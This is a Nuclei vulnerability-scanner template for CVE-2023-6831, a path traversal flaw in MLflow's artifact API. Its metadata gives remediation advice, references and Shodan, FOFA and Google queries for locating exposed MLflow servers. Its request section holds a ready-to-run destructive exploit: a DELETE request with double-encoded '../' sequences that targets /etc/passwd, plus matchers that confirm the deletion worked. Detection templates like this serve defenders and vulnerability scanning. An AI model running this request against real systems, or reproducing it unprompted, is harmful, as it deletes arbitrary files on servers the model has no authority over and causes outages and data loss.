id: CVE-2023-6831

info:
  name: mlflow - Path Traversal
  author: byObin
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  impact: |
    Authenticated attackers can exploit path traversal vulnerabilities to delete arbitrary files on mlflow servers through crafted API requests.
  remediation: |
    Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6831
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
    - https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-6831
    cwe-id: CWE-22,CWE-29
    epss-score: 0.0329
    epss-percentile: 0.87251
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive,vuln

http:
  - raw:
      - |
        PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{randstr}}

      - |
        DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "Content-Type: application/json"
          - "Server: gunicorn"
        condition: and

      - type: word
        part: body_2
        words:
          - "{}"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100c3af6ffacc3e0807a8e69a44a2d1767f508067d23b7013bd42c5f9029751d2fb022100f4ab1602fe64ba51d2578c45afcc77d3f9fb61d4e1f4505d065cb4864e332dfd:922c64590222798bb761d5b6d8e72950